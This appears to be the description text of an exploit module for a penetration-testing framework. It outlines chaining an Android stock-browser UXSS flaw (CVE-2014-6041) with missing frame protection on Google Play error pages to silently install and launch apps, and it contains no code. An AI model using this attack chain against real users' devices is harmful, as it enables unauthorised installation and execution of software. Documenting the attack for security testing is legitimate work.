        This module combines two vulnerabilities to achieve remote code
        execution on affected Android devices. First, the module exploits
        CVE-2014-6041, a Universal Cross-Site Scripting (UXSS) vulnerability present in
        versions of Android's open source stock browser (the AOSP Browser) prior to
        4.4. Second, the Google Play store's web interface fails to enforce a
        X-Frame-Options: DENY header (XFO) on some error pages, and therefore, can be
        targeted for script injection. As a result, this leads to remote code execution
        through Google Play's remote installation feature, as any application available
        on the Google Play store can be installed and launched on the user's device.

        This module requires that the user is logged into Google with a vulnerable browser.

        To list the activities in an APK, you can use `aapt dump badging /path/to/app.apk`.
